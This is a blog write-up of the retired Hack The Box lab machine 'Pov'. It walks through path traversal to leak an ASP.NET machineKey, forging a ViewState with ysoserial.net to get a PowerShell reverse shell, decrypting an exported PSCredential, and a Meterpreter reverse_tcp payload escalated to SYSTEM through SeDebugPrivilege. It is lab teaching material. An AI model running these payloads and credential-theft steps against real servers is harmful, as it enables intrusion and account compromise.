Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

Pov

Pov is a medium-difficulty standalone Windows box built around a single IIS 10.0 web server hosting an ASP.NET Web Forms "portfolio" application.

platform
Hack The Box
target_os
Windows
difficulty
Medium
season
Retired
logged
December 5, 2026
exploit_vectors → VHost discoveryPath traversal / arbitrary file readViewState deserialization RCECredential theft from connection.xml

Summary of Exploitation

Pov is a medium-difficulty standalone Windows box built around a single IIS 10.0 web server hosting an ASP.NET Web Forms “portfolio” application. The entire chain hinges on a leaked machine key and the classic ASP.NET __VIEWSTATE deserialization primitive. Starting from nothing but an open port 80, the chain proceeds as follows:

  1. VHost discovery — the default site pov.htb points to a development vhost, dev.pov.htb, serving a portfolio application with a “download CV” feature.
  2. Path traversal / arbitrary file read — the download endpoint accepts file=..\web.config, leaking the application’s web.config, which contains the ASP.NET machineKey (decryptionKey + validationKey).
  3. ViewState deserialization RCE — with the machine key known, a signed-and-encrypted __VIEWSTATE carrying a TypeConfuseDelegate / ObjectStateFormatter gadget is forged, yielding code execution as the app-pool identity sfitz.
  4. Credential theft from connection.xml — sfitz’s profile holds an exported PowerShell credential (connection.xml, an Export-CliXml PSCredential) that decrypts under sfitz’s DPAPI context to the credentials of alaading.
  5. RunasCS + Meterpreter → SYSTEM — the recovered credential is used with RunasCS to run a Meterpreter payload as alaading, who holds SeDebugPrivilege. That privilege allows injecting into a SYSTEM-owned process, so the session migrates into winlogon.exe and becomes NT AUTHORITY\SYSTEM.

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results:

Port State Service Version
80 open http Microsoft IIS httpd 10.0 (pov.htb)

A UDP scan returned nothing useful:

nmap -sU -Pn -oA nmap_udp.txt <target-ip>     # all 1000 ports open|filtered (no response)

Key takeaways from recon:

  • The host is a single-service Windows web server — IIS 10.0, port 80 only. No SMB, no WinRM exposed externally, no AD services. The entire attack surface is the web app.
  • The http-title and server header identify the site as pov.htb. The domain was added to /etc/hosts:
echo "<target-ip>  pov.htb dev.pov.htb" | sudo tee -a /etc/hosts

Note on egress. The target only allows outbound HTTP on port 80 (e.g. staging a payload on port 8000 is filtered). If you serve a payload over HTTP for a download cradle, host it on port 80.


Web Enumeration

Browsing http://pov.htb/ shows a static business/portfolio landing page. The only interesting pointer is a reference to a development/subdomain environment. VHost fuzzing confirmed a second virtual host:

ffuf -u http://<target-ip>/ -H "Host: FUZZ.pov.htb" \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline>

→ dev.pov.htb, which serves an ASP.NET Web Forms application at /portfolio/. The portfolio page exposes a “Download CV” button that issues a POST back to /portfolio/ carrying the standard Web Forms hidden fields (__VIEWSTATE, __VIEWSTATEGENERATOR, __EVENTVALIDATION) plus a file parameter and __EVENTTARGET=download.

The X-AspNet-Version: 4.0.30319 / X-Powered-By: ASP.NET headers confirm the ASP.NET 4.x stack — the classic target for ViewState deserialization once a machine key is obtained.


Exploitation Phase

Step 1 — Arbitrary file read: leaking web.config

The download handler builds a file path from the file POST parameter without sanitising traversal sequences. Substituting ..\web.config reads the application’s configuration file:

Request (req.txt):

POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
Content-Type: application/x-www-form-urlencoded

__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=<valid-viewstate>&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=<token>&file=..\web.config

Response (resp.txt) — the machineKey is disclosed in full:

<machineKey decryption="AES"
  decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
  validation="SHA1"
  validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />

The response also reveals that the dev app originally ran on dev.pov.htb:8080 (<httpErrors> / <httpRedirect> entries) and that the Web Forms page is /PORTFOLIO/default.aspx.

Step 2 — ViewState deserialization RCE → shell as sfitz

With decryption="AES" / validation="SHA1" and both keys known, a __VIEWSTATE can be forged: a serialized ObjectStateFormatter payload (the TypeConfuseDelegate gadget) is AES-CBC encrypted and HMAC-SHA1 signed with the leaked keys, so IIS decrypts, validates, and deserialises it — executing the embedded command.

Because the app is .NET 4.x, the keys are bound to a page-specific “purpose” derived via the SP800-108 KDF from the page path and application path. ysoserial.net’s ViewState plugin computes all of this automatically when supplied --path and --apppath alongside the leaked keys and generator:

# Forge the ViewState (callback baked into the -c command, e.g. a PowerShell -enc reverse shell to <attacker-ip>:9001)
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "powershell -nop -w hidden -enc <base64-reverse-shell>" \
  --path="/portfolio/default.aspx" --apppath="/" \
  --decryptionalg="AES" \
  --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" \
  --validationalg="SHA1" \
  --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" \
  --generator="8E0F0FA3"

ysoserial prints a URL-encoded __VIEWSTATE. POST it back to the download event with a listener ready:

rlwrap nc -lvnp 9001        # listener

curl -s http://dev.pov.htb/portfolio/ \
  --data "__EVENTTARGET=download" \
  --data "__VIEWSTATEGENERATOR=8E0F0FA3" \
  --data "__VIEWSTATE=<ysoserial-output>"

IIS decrypts, validates, and deserialises the forged ViewState, triggering the gadget. A shell returns as the app-pool identity:

PS> whoami
pov\sfitz

Step 3 — connection.xml → alaading, then RunasCS + Meterpreter

Enumerating sfitz’s profile turns up an exported PowerShell credential object:

PS C:\Users\sfitz\Documents> dir
# connection.xml

connection.xml is the output of Export-CliXml on a System.Management.Automation.PSCredential. Its password is a DPAPI-protected SecureString bound to sfitz’s user context, so it decrypts transparently while running as sfitz — recovering alaading’s credentials without guessing or cracking anything:

$cred = Import-CliXml -Path C:\Users\sfitz\Documents\connection.xml
$cred.UserName                                     # pov\alaading
$cred.GetNetworkCredential().Password              # alaading's password (DPAPI-recovered)

WinRM is not exposed externally (only port 80 is open), so alaading’s context is obtained locally. A Meterpreter payload is built and a handler started on the attacker, then the payload is launched as alaading with RunasCS using the recovered credential:

# attacker: build the payload and start the handler
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=9001 -f exe -o meterpreter.exe
msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_tcp; \
  set LHOST <attacker-ip>; set LPORT 9001; run"
# on target (as sfitz): run the payload as alaading via RunasCS
#   <alaading-password> is the value decrypted from connection.xml above
.\RunasCs.exe alaading <alaading-password> C:\Users\Public\meterpreter.exe

A Meterpreter session returns running as pov\alaading — whose profile holds the user flag:

type C:\Users\alaading\Desktop\user.txt

Step 4 — SeDebugPrivilege → winlogon migration → SYSTEM (Root)

Inside the Meterpreter session, alaading’s token carries a high-value privilege:

meterpreter > getprivs
...
SeDebugPrivilege

SeDebugPrivilege grants the right to open and write into any process — including those owned by NT AUTHORITY\SYSTEM. That is exactly what Meterpreter’s migrate needs: injecting into a SYSTEM-owned process adopts its token. Migrating into winlogon.exe (a SYSTEM process) elevates the session:

meterpreter > ps                    # locate winlogon.exe and note its PID
meterpreter > migrate -N winlogon.exe
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Root Flag Successfully Obtained

PS C:\Users\Administrator\Desktop> type root.txt
<redacted>

Key Takeaways

  • A leaked machineKey is game over for ASP.NET Web Forms. With decryptionKey + validationKey known, __VIEWSTATE is attacker-controlled serialized data — a reliable RCE primitive via ObjectStateFormatter/TypeConfuseDelegate.
  • Don’t overlook arbitrary file read. A single unsanitised file=..\web.config was the whole pivot from “static site” to full code execution.
  • Let the tooling handle the purpose derivation. ysoserial.net’s ViewState plugin computes the .NET SP800-108 purpose from --path / --apppath — getting those right (and the generator) is what makes the forged ViewState validate.
  • Exported PowerShell credentials are DPAPI-bound. connection.xml (Export-CliXml of a PSCredential) decrypts silently in the owning user’s context — finding it as sfitz directly recovered alaading’s credentials.
  • SeDebugPrivilege is effectively SYSTEM. It permits injecting into a SYSTEM-owned process, so a Meterpreter session running with it can simply migrate into winlogon.exe to become SYSTEM.
  • Mind the egress. Outbound was restricted to port 80 for HTTP staging — plan payload delivery around it.

Full Attack Chain

port 80 only  ──>  vhost dev.pov.htb (ASP.NET /portfolio)
   └─ path traversal (file=..\web.config)  ──>  leaked machineKey
        └─ ysoserial.net ViewState (TypeConfuseDelegate)  ──>  RCE as sfitz
             └─ connection.xml (Export-CliXml PSCredential)  ──>  alaading credentials [USER]
                  └─ RunasCS  ──>  Meterpreter as alaading (SeDebugPrivilege)
                       └─ migrate into winlogon.exe  ──>  SYSTEM   [ROOT]